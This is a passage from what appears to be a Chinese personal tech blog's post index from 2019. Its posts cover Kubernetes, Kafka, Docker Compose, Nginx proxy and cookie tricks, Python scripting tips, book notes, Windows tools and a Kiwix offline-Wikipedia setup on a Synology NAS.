文件主要是分为两个部分。Deployment和configmap。这里重点讲configmap。这个是k8s的特性，在原来的swarm的体系中，实现配置文件的统一管理的体验是十分糟糕的，只能通过吧目录向外部进挂载来实现配置管理。而如果存在多个主机和节点的话，还需要使用NFS来进行多主机的文件共享。显得十分的冗余。 而在k8s中引入了configmap的功能，把一个配置文件以键值的进行保存，且这个保存是多个节点共享的，所以这样的话就很自然的实现了配置文件的统一管理，所以这个配置很是好用。\n后 到了k8s的环境下实际上还是进行写yaml的过程，这个过程中，把应用从主机的层面抽象出来，可以方便的实现快速扩容，等等。 除了对语法和概念的了解需要补充，其他的用的挺舒服\n","date":"2019-08-17T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/08/2019-08-17-%E5%9F%BA%E4%BA%8Ek8s%E7%9A%84logstash%E6%97%A0%E7%8A%B6%E6%80%81%E9%83%A8%E7%BD%B2/","tags":["docker","k8s","ops"],"title":"基于K8S的logstash无状态部署"},{"categories":["dev"],"contents":"这一篇只是存档作用啦，因为之前的旧集群又搬走了，不过还好整体是跑的docker，迁移起来还是很容易的。 这个是一个快速搭建一个线上的Dos游戏的yaml文件。挺好玩的就先留下来\ncompose 文件 version: \u0026#39;3\u0026#39; services: web_game: image: oldiy/dosgame-web-docker:latest restart: always ports: - 262 networks: - tfk_traefik_default deploy: labels: traefik.frontend.rule: \u0026#34;Host:game.diglp.xyz\u0026#34; traefik.port: \u0026#34;262\u0026#34; traefik.frontend.passHostHeader: \u0026#34;true\u0026#34; traefik.docker.network: tfk_traefik_default networks: tfk_traefik_default: external: true ","date":"2019-08-11T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/08/2019-08-11-compose-file-for-dos-game/","tags":["docker"],"title":"Compose file for Dos Game"},{"categories":["dev"],"contents":"又有接触到新的东西还是蛮开心的，这次整上的开源组件是Kafka。读音卡夫卡。 一眼看起来，是一个高端玩意，刚刚接触的时候有些害怕自己驾驭不住，后面发现，还行，简单好用。 所以这篇文章，就来介绍一下卡夫卡，以及简简单单的进行一个指北。\n什么是kafka kafka 简单来说是一个消息队列服务，主要的功能是把随机写转化为顺序写，或者可以理解为缓存？ 和我们的linux中的queue差不多，另外提本身是分布式的，所以可以保持系统的高吞吐和高可用。\n另外，比较重要的一点，Kafka可以很大的降低系统复杂性。 怎么说呢？做标准的系统中，上一个组件和下一个组件互连，随着系统的越来越复杂之间的连接越来越多。整个系统的内部，就变成了一张大网。 所以引入了kafka，在这一层对各个模块之间的连接进行抽象。 写消息只需要上报到kafka即可，读消息只需要到kafka中根据对应的topic来进行读即可。 这样由分到总再到分的结构，很大的简化了原来系统的复杂结构。\n怎么测试？ kafka的基本使用是相当的简单了： 配置文件写好之后，可以直接运行服务\n./zookeeper-server-start.sh -daemon /data/home/kafka/config/zookeeper.properties ./kafka-server-start.sh -daemon /data/home/kafka/config/server.properties 然后进行本地的消息读写测试：\n./kafka-console-producer.sh --broker-list 127.0.0.1:9092 --topic test \u0026gt; 123 ./kafka-console-consumer.sh --bootstrap-server 127.0.0.1:9092 --topic test --from-beginning 123 上面的流程呢？向消息队列写数据，再读出数据。就这样就完成了kafka的基本使用。\n如何部署 在部署的这部分，还是踩了一些坑，因为是开着官方文档来的，结果坑就在官方文档里面！ kafka 严格意义上是一个队列服务的软件，那么实际上他要实现分布式部署的话，还需要一个组件zookeeper， 官方的quicklystart文档 这里有一句话：\nKafka uses ZooKeeper so you need to first start a ZooKeeper server if you don\u0026rsquo;t already have one. You can use the convenience script packaged with kafka to get a quick-and-dirty single-node ZooKeeper instance.\n也就是说kafka的下载包中的配置，只是能启动一个单一的实例，如果需要启动一个集群，那么需要先有一个zookeeper的网络。\n所以最重要的是需要先有一个zookeeper的网络，所以得有两份配置，kafka和zookeeper。 kafka 的配置缺省差不多可以使用。大坑在zookeeper。这里先贴出配置：\ndataDir=/data/home/ramonesliu/kafka/data clientPort=2181 maxClientCnxns=0 server.1=xxxx:2888:3888 server.2=xxxx:2888:3888 server.3=xxxx:2888:3888 tickTime=2000 initLimit=10 syncLimit=5 这里的配置看起来部署很简单，但是大坑存在与最后面这三行。默认配置是没有的。 但是一旦缺了这几个配置，启动的时候竟然会报一个parse error的问题。这个问题当时是排查了一个小时。。。\n还有一个关键步骤是在上面指定的Dir里面需要写入一个myid的文本文件，里面的数值，需要和server.x这里的x相同，作为一个zookeeper节点的唯一标识。之后就使用命令行直接启动，即可。\n使用zookeeper的本身的shell来检验集群状态\n\u0026gt; ./zookeeper-shell.sh 127.0.0.1:2181 ls /brokers/ids Connecting to 127.0.0.1:2181 WATCHER:: WatchedEvent state:SyncConnected type:None path:null [0, 1, 2] 怎么使用 kafka只是作为一个使用过程中的中间件，所以使用起来是十分简单的，配置输入，配置输出即可： 这里的使用场景是用于filebeat和logstash之间。示例配置文件如下：\n#filebeat上报示例配置： output.kafka: hosts: [\u0026#34;kfk:19093\u0026#34;] topic: nginx required_acks: 1 #logstash 拉取示例配置 input { kafka{ bootstrap_servers =\u0026gt; [\u0026#34;kfk:19093\u0026#34;] group_id =\u0026gt; \u0026#34;nginx\u0026#34; auto_offset_reset =\u0026gt; \u0026#34;earliest\u0026#34; decorate_events =\u0026gt; \u0026#34;true\u0026#34; topics =\u0026gt; [\u0026#34;nginx\u0026#34;] codec =\u0026gt; json } } filebeat 作为数据的输入，logstash作为数据的输出，这样从原来的fb直接向logstash 的输出，成为了logstash到kfk的主动拉取。所以logstash 的负载得到了较大的舒缓。\n总结 kafka这个中间件的使用，降低了原系统直接的复杂性，并且实现了两个服务间的解耦。当logstash服务不可用的时候，一样可以进行数据的缓冲。\n参考 我个人的kafka broker和zookeeper集群实践（★firecat推荐★） ","date":"2019-08-11T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/08/2019-08-11-kafka-%E7%AE%80%E5%8D%95%E9%83%A8%E7%BD%B2%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/","tags":["elk","kafka"],"title":"Kafka 简单部署使用指北"},{"categories":["dev"],"contents":"发现自己已经好久好久没有写一篇博客了，自从被墙了之后就一蹶不振的样子。 最近事情好多，也是自己可能没有静下心来好好的看看书什么的， 这篇post主要是以标签收敛为主，不然自己的太多太多的标签堆了太久了，而且越堆越没有办法\n所以这篇写点啥呢？就收集一下这周的开发过程中以后可以进行复用的东西吧：\n如何快捷方便的获得表单数据 如果有一个表单，有很多的数据，要是\b使用ID来直接获取的话，那么会使用大量的ID来进行命名，十分不优雅，所以这里就使用DOM的方法。\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; function get() { //也可以直接通过元素的属性name来直接获取 var ip = document.getElementsByName(\u0026#34;ip\u0026#34;); var ipv6 = ip[0].value; alert(\u0026#34;ipv6: \u0026#34; + ipv6); //55::66 var ipv4 = ip[1].value; alert(\u0026#34;ipv4: \u0026#34;+ipv4); //1.1.1.1 } \u0026lt;/script\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form action=\u0026#34;hehe.jsp\u0026#34; id=\u0026#34;one\u0026#34; method=\u0026#34;post\u0026#34; name=\u0026#34;one1\u0026#34; \u0026gt; ipv6 : \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;ipv6\u0026#34; name=\u0026#34;ip\u0026#34; value=\u0026#34;55::66\u0026#34; /\u0026gt;\u0026lt;br\u0026gt; ipv4 : \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;ipv4\u0026#34; name=\u0026#34;ip\u0026#34; value=\u0026#34;1.1.1.1\u0026#34; /\u0026gt;\u0026lt;br\u0026gt; \u0026lt;input type=\u0026#34;button\u0026#34; value = \u0026#34;button\u0026#34; οnclick=\u0026#34;get()\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; 那么这时候可以直接使用getbyname来实现获取同名称的所有的dom对象。那么后面只需要再使用一个map，就可以得到里面的所有的元素的值对应的数组啦。document.getElementsByName(\u0026quot;add_new\u0026quot;).forEach(function (v) { tmp.push($(v).val()) })\u0026quot;\n获得被选择的radio或者checkbox $(\u0026#39;input:checkbox\u0026#39;).each(function() { if ($(this).attr(\u0026#39;checked\u0026#39;) ==true) { alert($(this).val()); } }); 先直接贴代码来，这里一个很坑的地方这里的attr 在其他的基于框架的地方应该是prop(\u0026quot;checked\u0026quot;)\n","date":"2019-07-28T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/07/2019-07-28-%E5%BF%85%E9%A1%BB%E5%BE%97%E5%86%99%E7%82%B9%E4%BB%80%E4%B9%88%E4%B8%9C%E8%A5%BF/","tags":["前端"],"title":"必须得写点什么东西"},{"categories":["读本好书"],"contents":"这部书老早的都该翻完了，结果因为各种的使其overdue。另外，关于这本书，实际上并不是《代码整洁之道》，二更是偏向于后面的程序员职业修养的部分。其中的内容呢，更多的是作为工作中的“指南手册”。让我想到前面的一本书《时间管理\u0026ndash;写给系统管理员》，里面写的是在工作时候的事情处理，以及一些情况的应对。\n所以，这篇文章给这本书收个尾。\n书的前言 书的前言，使用“挑战者”号的失事事件为引子。陈述了在一个巨大体系中的管理的问题。由于管理人员自已以为自己是专业人士，忽略工程师一次又一次的警告和建议。这些问题的一点又一点的积累最终导致了这灾难的发生。\n即使工程师们早就知道这种问题的存在，最后还是没有改变结果。管理人员心存侥幸，希望一切相安无事，**认为自己才是专家，他们的恐慌，希望，直觉才是准的。**刚刚好遇上现在的《Chernobyl》，一个个的错误，导致了灾难。\n遇到不合理的事情，需要及时的质疑，不能因为自己心中所想的“他是专业人士”来默默的吞掉疑问，无条件信任。一个专业人士的态度不应该是：“我们尽力而为吧”。而会以“这是我们的承诺，如果你想调整，请随时联系我们”。\n如何变得专业 去承担责任，不要破坏代码的结结构，代码本身的结构要；可能的灵活，避免代码结构的僵化。\n不能铭记过去的人，注定要重蹈覆辙。\n坚持学习，不断涉猎新的技术。另外，没事的时候可以做做Kata来练练脑子。\n同意或拒绝 这个在前面那本时间管理的书里面又提到过的。\n能就是能，不能就是不能。不要说‘试试看’。\n奴隶没有权利说不。但是专业人士应该懂得说不。事实上优秀的经历总是对敢于说不的人求贤若渴。敢于说不，才能真正做成一些事情。因为试试看是一句模糊的话，一方有着百分之八十的期待，一方只有百分之二十的把握，这样往往会导致，“还没完成？”，“还需要些时间”这种灾难性结果。\n当无法明确完成的时候，和经理确定最低的可能的期望功能。所以，敢于说不。\n作出承诺包含三个步骤：口头上说自己将会去做，心里认真对待作出的承诺，真正的付诸行动。书里面写了很多的有趣的场景：\n- 问“为什么网络这么慢”，回答“我们是得再弄点路由器了” - 老板说：“我们进度需要快点”，“好” 我们总会有器官的感觉，觉得大多数的时候他们并没有全力去兑现呢？在这些承诺里面都有给自己开脱的词汇：“需要/应当”，“希望/但愿”，“让我们”。\n尽可能地使用正式承诺，确保各方能无误地理解承诺地内容。\n编码的技巧 关键在于具备信心，和出错感知能力。 代码需要：\n能工作 解决客户问题 和系统结合 代码易读 在心烦意乱的时候，千万不要敲代码！。\n中断的恢复，结对工作，或者是使用TDD，来进行开发驱动。\n不要对十天之内全部完成特性开发抱有任何期望，这种期望有可能杀死整个项目。\n测试驱动开发 使用TDD，Java有了30秒一次的运行周期。使用测试样例来控制正确需求。TDD的确可行，此时已有定论，争论已经结束。\nTDD的三个原则\n编好失败单元测试之前，不写产品代码。 一个单元测试失败了，就不要写测试了。来解决它先 产品代码恰好让当前的失败通过即可。 需求沟通 很多时候，出现了过早的精细化和过迟的模糊性，前者指的是过早的精确后面要得到什么，使得一味的向目标靠近反而浪费了成本。过迟的模糊化导致在最后需求已经被完成后不符合单方预期，导致需求双方的分歧。\n时间管理 番茄工作法\n拒绝杂事\n适时离席\n项目立会，每天一个会议，每次不超过十分钟。“昨天干了什么，今天打算干什么，遇到什么问题”。\n凡是不能再五分钟内解决的整论，都不能靠辩论解决\n","date":"2019-06-11T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/06/2019-06-11-%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0%E4%BB%A3%E7%A0%81%E6%95%B4%E6%B4%81%E4%B9%8B%E9%81%93-%E7%A8%8B%E5%BA%8F%E5%91%98%E7%9A%84%E8%81%8C%E4%B8%9A%E4%BF%AE%E5%85%BB/","tags":["book","ops","软件工程"],"title":"读书笔记《代码整洁之道——程序员的职业修养》"},{"categories":["op之路"],"contents":"今天在图书馆偶遇了一本书，书名就是上面写着的《每天5分钟玩转Kubernetes》，让我想到了之前在IBM社区里面看到的一个五分钟openstack的系列。看着书篇幅不大，就一百来页，所以就随手翻翻，也作为自己对K8S的入门，后面没准整站的系统需要从Swarm向K8S迁移了。\n由于属性SWARM所以使用类比的方法，可以很好的理解K8S的设计。整本书大概花了7个**?番茄时钟**翻完。之前选择Swarm由于Docker本身就包含了这个组件，简单易得。这本书看完之后，发现K8s很多特性解决了现在的问题，结论是k8s更加优秀，比如在卷管理的地方，之前Swarm如果要实现的话需要用上NFS，就很麻烦，而K8S默认的就是多节点同步。等等的特性后面再写吧。迟早换。\n基本概念 如在swarm的里面的service，stack，等等的名词。这些东西在k8s里面有不一样的叫法。Cluster，Master，Node。这些都一样，集群，manager主机，从机。\nPod 是K8s里面最小的调度单位，和Swarm不同，S里面的单位就是单个容器。Pod理解为豌豆荚，里面有一个或者多个的容器。它们之间可以容易的实现资源共享。\n在pod比基本的容器更加的高一层次，可以使得更好的进行服务组装。而且在pod内是默认进行网络共享（同样的nampspace）可以直接使用localhost和端口进行通信。vol的挂载在一个pod上，实际上是挂载在了所有的容器上，切数据是同步的。\n只有关系十分紧密的容器，才需要被放在一个pod中，比如书中所讲的 file puller 和 webserver，一个负责web文件的更新，因为可以进行文件的共享，一个提供服务可以很好的进行功能整合，而不对外部暴露过多细节。\n但是如果是 Tomcat 和 Mysql 则不适合此情景，因为其间只存在网络通信，并不需要进行文件共享，所以不需要在一个Pod中。\nController 是pod的资源管理器。 Service 这里和Swarm 类似，不过他的单位不再是多个容器，而是多个Pod，这里有一级网络映射。对外统一的暴露端口，内部自动的进行LB\n基本架构 和Swarm的架构其实是大同小异的，就是这些异带来了惊喜的功能。\nMaster节点：APIserver，提供API接口，所以可以通过前端进行容易的控制。Scheduler，实现Pod之间的调度。Controller作为pod的资源管理器。etcd（这东西有时间了解下，见得有点多了）实现对节点的配置信息进行存储，有变化时候，会直接和server同步。\nNode：kublet，向master报告信息，kube-proxy，实现请求在pod之间的转发。\n运行 配置的方式和s类似，使用命令行和yml的方式进行，语法差不多。一样可以很方便的实现scale的扩缩容。 在一个k网络中，节点挂点之后，pod会自动的转移。\nJOB 容器分为两类，工作类和服务类，一个运行完停止，一个会提供服务，你懂得。Job可以很好的来控制Deploy的过程。\nservice pod是脆弱的，但是应用是稳定的，所以这里就需要service了，里面所有的pod自动的进行lb，最后通过service 在主机上暴露出来。（k8s可以直接找podip）。k甚至提供了有一个默认的DNS，直接把Service的名称在Dns里进行注册，这样直接在本地就可以访问了（kube-dns）\nwget httpd-svc:8080 滚动升级和回滚，这里就不说了。s里面也有的功能。等真正打包好的自己的镜像可以很方便。使用rollout undo。\nhealth chk 检测容器的健康状态，这个在现网上的确是应该有的，web的页面，mysql的连接等等，这个要成为习惯。因为一个容器如果挂掉了实际上可能并不会退出。\n一般的做法是在pod的部署的时候，加上一个web的接口，在注册的时候写进文件，那么就会有周期的调度进行http请求，根据返回值判断服务的健康状态。\n数据管理 在一个pod里面多个容易可以很方便的进行文件的共享，使用emptyDir可以在多个容器里面挂载，切是文件共享的。生命周期和POd一致。\n虽然很好用，可是还是不够持久，因为pod的周期也是有限的，如果是数据库啥的就完蛋。所以就有了 PV（persistentVolume）其生命周期是独立的，在建立pod的时候进行生命即可。但是，问题是后面还是需要NFS噗。\nsecret 用于避免在yml文件中直接包含敏感配置的问题。\nHelu K8S的包管理 这个真的是妙，因为如果存在大规模的工程部署的时候，就出现了配置文件爆炸的情况，所以需要把特定的pod 抽象为一个包的形式。\nk8s的Dashboard 前面还在苦苦的折腾Portainer现在发现自己是low了，k8s已结给做好了，妙呀。部署的过程就不说了，到时候试试。\n集群监控 作为一个OP，监控是不可少的，所以这里就有了神器了。\nWeave Scope 这个，看了效果图简直神奇啊，会自动的构建应用和集群的逻辑拓扑，找出pod和pod之间的依赖关系，还可以进行实时的资源监控（简单的）\nHeapster K8s的原生方案，简单易得，直接数据进influxDB，上Grafana，进行数据可视化显示。\nPrometheus ！！！ 这个就是K8s的一大大大大厉害之处，首先监控上grafana只是基础功能，通过配置文件，我们可以通过容器状态来绑定K8s的API（通过告警alarm），也就是实现我们的（自动扩缩容）\n日志监控（偶遇ELK） 这里的L由logstask变成了fluentd，也就是efk，这一套东西起来不得了了。对于容器的日志获取一向是个大问题，现在，解决了？？？？\n后 祝大家生活愉快XD\n","date":"2019-06-11T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/06/2019-06-11-%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0%E6%AF%8F%E5%A4%A95%E5%88%86%E9%92%9F%E7%8E%A9%E8%BD%ACkubernetes-%E4%BB%8Eswarm%E5%88%B0k8s/","tags":["book","docker","k8s","ops","prometheus","swarm"],"title":"读书笔记《每天5分钟玩转Kubernetes》——从Swarm到K8S"},{"categories":null,"contents":"这次我粉微软，很久没有怎么关注资讯了，突然给了个推送,介绍了MS最新的terminal,终于可以一改前貌.是一个重大革新，这里先放一个图，可以看看。界面是相当的漂亮，支持多标签，ssh，etc\n新的终端 terminal 这里给出 MS 的项目的地址，microsoft/terminal。由于并没有给出预编译版本，所以自己使用需要自行编译，存在一定的使用难度，所以这里就在其他地方找了预编译版本直接给出来。下载安装即可。\n下载地址\n先安装证书，之后再进行应用的安装。目前项目蓬勃发展中，期待。\n新的eage eage说实话，看起来很符合自己的感觉，简洁简单。但是！自己的独创内核的性能真的不咋地，记得eage刚刚出的时候，简直不能被称为一款产品。就是一款bug。\n但是，MS又发了大招，推出了一款全新的eage，一样的外观不一样的内核，叫做eage insider，这里给出项目地址，使用的是Chromium 内核，所以大多数的Chrome的插件是可以直接被使用的。目前的dev的版本更新频率在一周每次，总体的感觉还是很不错的。目前就在使用，后面打算作为主力的浏览器。（最总要的是有了多个平台，可以使用outlook的账号实现一站式的登陆，绕过了大陆的google无法登陆的问题）这里给一张预览图：\nWSL Win 下的Liunx 在win下使用Linux必须要跑一个沉重的虚拟机吗？有时候得开个vbox之后开个SSHd，再由Xshell连上去，实属太麻烦了。所以这里就推荐又一大神器WSL(Install Windows Subsystem for Linux)，这样就可以再WIN上完美的跑起一个LINUX子系统了。 Linux的原生体验，真的很Nice，这样的话在WIN上也可以又一个很好的Linux环境，就不会因为环境问题，苦苦的挣扎在线上的服务器和虚拟机之间了。\n给右键菜单添加BashHere 打开注册表编辑器，新建项HKEY_CLASSES_ROOT\\Directory\\Background\\shell\\Bash Here，再项目内再新建项command，其默认键内容为\u0026quot;C:\\Windows\\System32\\bash.exe\u0026quot;，新建Icon来指定图标即可\n","date":"2019-06-09T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/06/2019-06-09-%E8%BF%99%E6%AC%A1%E7%B2%89%E5%BE%AE%E8%BD%AF%E4%BB%8B%E7%BB%8D%E5%87%A0%E4%B8%AA%E6%83%8A%E8%89%B3%E7%9A%84%E5%8A%9F%E8%83%BD/","tags":["bash","linux","misc"],"title":"这次粉微软，介绍几个惊艳的功能。"},{"categories":["op之路"],"contents":"为每一个服务直接注册一个子域名，虽然干净利落，但是肯定没有直接改Nginx的配置来的快。想实现的功能呢？就是直接通过不同的路由路径直接进行不同端口的反向代理，但是经过尝试之后，发现，并没这么简单\n前面的尝试 在前面进行的尝试的诶之代码如下，看起来很简单，但是实际上问题是很大的，在这里的尝试时候会发现，在进行第一级路由的时候，的确是可以进行正确的代理和显示，\nlocation /wiki/ { proxy_pass http://127.0.0.1:xxxx/ proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } 问题发生在第二次的点击的时候，由于我们的应用默认的是使用的 / 作为basePath，所以在进行第二次点击的时候，就会出现404的问题，因为根本没有被正确的代理嘛。\n怎么解决呢？ 所以，发现这个问题的确是绕不开的了。所以，需要修改我们的代理到的应用的支持，在应用的配置文件中理应有bashPath 或者 prefix 的配置，保持配置和nginx的配置的内容保持一致应该就可以了。\n所以，综上，无法通过简单的修改nginx的配置的方法来实现对一个应用的反代，必须保持应用的prefix和配置一才OK。\n所以目前最简单的方法，还是进行子域名的配置，使用server_name 来进行不同业务的分析的依据才可以。\n","date":"2019-06-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/06/2019-06-07-nginx-%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0prefix%E5%92%8Cbasepath/","tags":["nginx","ops","proxy"],"title":"Nginx 折腾笔记（prefix和basePath）"},{"categories":["dev"],"contents":"Python 小巧精致，拿来做些小工具是十分可爱的。 这个post主要是来记下一些小技巧，希望自己在再次遇到的时候可以很快的想起来。Kata\n使用PyIntsaller对程序进行打包 由于不一定是在本机运行，对于部分的电脑没有python环境，所以这里就对本地的脚本进行打包，成一个整体的exe文件。\npython 同时遍历list索引和值 这里使用built-in方法，enumerate，来解决这个问题，正如其名，是枚举列表中的所有元素和其序列。如下：\n\u0026gt;\u0026gt;\u0026gt; list(enumerate([1,2,3,4,5,6])) [(0, 1), (1, 2), (2, 3), (3, 4), (4, 5), (5, 6)] 所以使用这种特性，可以来遍历索引同时遍历值。像是这样：\nmy_list = [\u0026#39;a\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;c\u0026#39;] for idx, val in enumerate(my_list): print(idx, val) 而且，还解决了一个痛点，在遍历列表的时候，想定位这个元素，苦于拿不到索引只能用indexof，很不优雅的解决问题。\n字符串中提取所有的数字 这个需求比较常遇到，在这个proj里面主要是对文章的ID，很难进行分配，之前是使用csv文件的列加上偏移，来实现文章的ID 的，后面发现ID这样依赖这种不稳定的方式生成，后出现ID重复文件覆盖的情况。所以后面就想到了HASH。这里便是从HASH里面提取所有的数字。\n核心功能，使用一行正则就可以实现。\nprint(re.findall(r\u0026#34;\\d+\\.?\\d*\u0026#34;,string)) 从代码上理解，findall 提提供所有匹配字串。这里看出，匹配\\d+ 和 \\.?\\d* 也就是匹配任意个数字，加上点和任意单字符和任意数字。\n代码说话：\n\u0026gt;\u0026gt;\u0026gt; md5.update(\u0026#39;123\u0026#39;.encode()) \u0026gt;\u0026gt;\u0026gt; md5.hexdigest() \u0026#39;4297f44b13955235245b2497399d7a93\u0026#39; \u0026gt;\u0026gt;\u0026gt; re.findall(r\u0026#39;\\d+\u0026#39;, md5.hexdigest()) [\u0026#39;4297\u0026#39;, \u0026#39;44\u0026#39;, \u0026#39;13955235245\u0026#39;, \u0026#39;2497399\u0026#39;, \u0026#39;7\u0026#39;, \u0026#39;93\u0026#39;] \u0026gt;\u0026gt;\u0026gt; functools.reduce(lambda x,y: x+y, re.findall(r\u0026#39;\\d+\u0026#39;, md5.hexdigest()))[:10] \u0026#39;4297441395\u0026#39; 这样比较优雅的解决了ID的问题。\n使用filter来优雅的匹配后缀 用来过滤后缀匹配的文件，\next_list = [\u0026#34;.rar\u0026#34;,\u0026#39;.pdf\u0026#39;,\u0026#34;.zip\u0026#34;,\u0026#34;.doc\u0026#34;,\u0026#34;.docx\u0026#34;] file_list = os.listdir() up_files = list(filter(lambda x: os.path.splitext(x)[-1] in ext_list ,file_list)) 写文件中文乱码 在最后写入文件的时候，中文会乱码（GB编码），所以在最后统一使用utf-8的编码，代码如下\nwith open(\u0026#39;./xmls/import-\u0026#39;+time_str+\u0026#39;.xml\u0026#39;, \u0026#39;wb+\u0026#39;) as f: f.write(xml_total.format(final_xml).encode(\u0026#34;utf-8\u0026#34;)) 使用二进制写入，在最后对内容进行utf8编码。\n对CSV文件的解析 def parse_csv(file_path): import csv info_list = list() with open(file_path,\u0026#39;r\u0026#39;) as myFile: lines=csv.reader(myFile, delimiter=\u0026#34;,\u0026#34;) for id,line in enumerate(lines): info_list.append(line) # 这里跳过表头 return info_list[1:] 使用datetime来方便的计算时间差 由于需要记录GMT时间，所以需要对当前时间减去8，操作如下：\ndatetime.datetime.now()-datetime.timedelta(hours=8, minutes=-2)).strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;) 函数定时执行 这里算是一个小的tricks，使用线程和定时器来实现的一个函数被定时执行的功能。具体的代码如下：\ndef fun_timer(): print(\u0026#39;Hello Timer!\u0026#39;) global timer timer = threading.Timer(5.5, fun_timer) timer.start() timer = threading.Timer(5.5, fun_timer) timer.start() ","date":"2019-06-06T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/06/2019-06-06-wp%E6%89%B9%E9%87%8F%E5%AF%BC%E5%85%A5%E7%9A%84py%E5%AE%9E%E7%8E%B0%E5%B7%A5%E5%85%B7/","tags":["python"],"title":"WP批量导入的Py工具实现"},{"categories":null,"contents":"在博客里面自己加上了wiki，需要进行一定程度上的访问控制。预想的效果，是使用referer来进行来源的控制，但是出了些问题。所以就在这里记录一下。\n前面遇到的问题 在进行访问控制的时候，本来打算是参考防盗链的方式进行配置。配置文件如下：\nvalid_referers blocked www.diglp.xyz blog.diglp.xyz ray.i124u.cf; if ($invalid_referer) { return 403; } 这里先熟悉一下语法，这里的是使用的blocked 的类型，当referer不属于列出的域名的时候就直接置位$invaild_referer。\n可以很如愿的得到首页的访问，觉得完事了，但是在后面进行尝试的时候，打开二级网页的时候就直接403了。想了想，这个referer是无粘滞的。所以在第二级的时候就判断为false了。\n使用Cookie 在nginx里，可以直接添加响应头的内容使用add_header进行内容的添加。来进行cookie 的设置，在nginx里进行设置，可以对cookie来进行逻辑判断\nadd_header Set-Cookie \u0026amp;#039;referer=blog\u0026amp;#039;; if ($http_cookie !~* \u0026amp;quot;referer=blog\u0026amp;quot;) { return 403; } 这里是使用通配符来进行匹配判断的，在nginx里面对语法的要求比较严格，没有支持! 的取非操作，这里使用的是 !~* 来进行任意个的~忽略大小写的不匹配。\n那么怎么实现访问控制呢？ 这部分的内容应该是比较私密的，也算是设计到了后端的逻辑，不过既然看到文章了，那基本上打开也没问题了。\n这里再原来的referer的控制的前提下，使用cookie进行粘滞。当满足了设置了cookie且队开始是通过blog进行referer来进行访问的用户才允许访问。\nset $flag 0; if ($arg_referer != \u0026amp;quot;blog\u0026amp;quot;) { set $flag \u0026amp;quot;${flag}1\u0026amp;quot;; } if ($http_cookie !~* \u0026amp;quot;referer=blog\u0026amp;quot;) { set $flag \u0026amp;quot;${flag}1\u0026amp;quot;; } #逻辑与实现方式 if ($flag = \u0026amp;quot;011\u0026amp;quot;){ return 403; } if ($arg_referer = \u0026amp;quot;blog\u0026amp;quot;) { add_header Set-Cookie \u0026amp;#039;referer=blog\u0026amp;#039;; } Nginx 的GET参数 在Nginx里面可以很容易的提取出Get的参数，从而可以实现代理分流。$arg_referer这里的全局变量，就是对应的 ?referer=xxx的xxx\nNginx 的逻辑判断 由于在nginx里面不能很好的支持逻辑判断，所以需要进行组合才能进行，这里使用的是字符串的拼接进行。这里的${flag}从最开始的0开始进行拼接，如果满足条件，那么就重新赋值为${flag}1 这样的话，变量内容变成01，周而复始，就可以得出，如果两个调节都满足，那么得到的就是 011于是就是实现了与的关系，那么或就是两者其一，即为01\n后 梦中想到的事情，起床来就可以把它实现，快乐\n","date":"2019-06-03T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/06/2019-06-03-nginx-%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0%E9%80%BB%E8%BE%91%E5%88%A4%E6%96%AD%E5%8F%8Acookie%E4%BD%BF%E7%94%A8/","tags":["nginx","ops"],"title":"Nginx 折腾笔记（逻辑判断及Cookie使用）"},{"categories":["玩点什么"],"contents":"这句话摘抄自 kiwix 的官网。\nKiwix让您能够随身携带完整的维基百科！无论您搭乘船只，还是身处偏僻的地区，抑或身陷囹圄，Kiwix都使您能够接触到全人类的知识。您不需要连接因特网，因为所有的资料都储存在您的电脑，优盘或者DVD中！\n身陷囹圄，却渴望“正确”和“真相”。这样做不一定“正确”，但是是有意义的。 这一篇文章主要是记载如何使用手上的群晖 DS216 来实现部署一个自己的离线的wiki。\n开始之前遇到的问题 这里使用的自己的群晖，但是环境问题，有下面几个坑，大家没准也遇得上\nwget不支持HTTPS 由于群晖默认安装的wget没有编译https的支持，惊了。在下载时候以下报错。\nroot@Sync-NG:~/qspace# wget https://bootstrap.pypa.io/get-pip.py https://bootstrap.pypa.io/get-pip.py: HTTPS support not compiled in. 解决方案是卸载原有wget，安装支持https的版本。涉及命令如下：\nroot@Sync-NG:~/qspace# ipkg remove wget Removing package wget from root... Successfully terminated. root@Sync-NG:~/qspace# ipkg install wget-ssl Installing wget-ssl (1.12-2) to root... Downloading http://ipkg.nslu2-linux.org/feeds/optware/syno-i686/cross/unstable/wget-ssl_1.12-2_i686.ipk Installing libidn (1.25-1) to root... Downloading http://ipkg.nslu2-linux.org/feeds/optware/syno-i686/cross/unstable/libidn_1.25-1_i686.ipk Configuring libidn Configuring wget-ssl Successfully terminated. 群晖上的pip的安装 由于本身的python是不带 pip模块的，所以需要给它装上，这里有很好的一键安装的脚本。\nwget https://bootstrap.pypa.io/get-pip.py python3 get-pip.py 一路绿灯，完成pip安装\n群晖上使用 supervisord supervisor 来实现对进程的管理以及 自动拉起，直接使用pip进行安装。python -m pip install supervisor，之后生成配置文件echo_supervisord_conf \u0026gt; /etc/supervisord.conf，在配置文件进行如下修订，实现一个配置的目录：\n[include] files = /etc/supervisord.d/*.ini 部署记录 下载wiki内容 在 kiwixi 上来下载离线的wiki的包\nDocker来进行部署 